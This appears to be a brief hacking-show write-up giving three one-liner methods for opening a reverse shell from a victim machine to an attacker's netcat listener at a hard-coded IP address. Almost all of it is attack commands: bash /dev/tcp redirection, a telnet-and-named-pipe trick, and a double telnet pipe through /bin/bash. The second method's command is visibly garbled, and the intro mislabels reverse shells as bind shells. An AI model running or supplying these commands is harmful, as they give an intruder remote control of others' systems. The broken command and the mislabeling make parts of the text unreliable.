We're setting up bind shells to netcat, without using netcat! Darren features three methods to create reverse shell connections to the Internet's favorite TCP/IP swiss army knife.

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Method 1:

Hacker: nc -l -n -vv -p 8080
Victim: /bin/bash -i > /dev/tcp/173.214.173.151/8080 0<&1 2>&1

Method 2:

Hacker: nc -l -n -vv -p 8080
Victim: mknod backpipe p && telnet 173.214.173.151 8080 0backpipe

Method 3:

Hacker: nc -l -n -vv -p 8080
Hacker: nc -l -n -vv -p 8888
Victim: telnet 173.214.173.151 8080 | /bin/bash | telnet 173.214.173.151 8888

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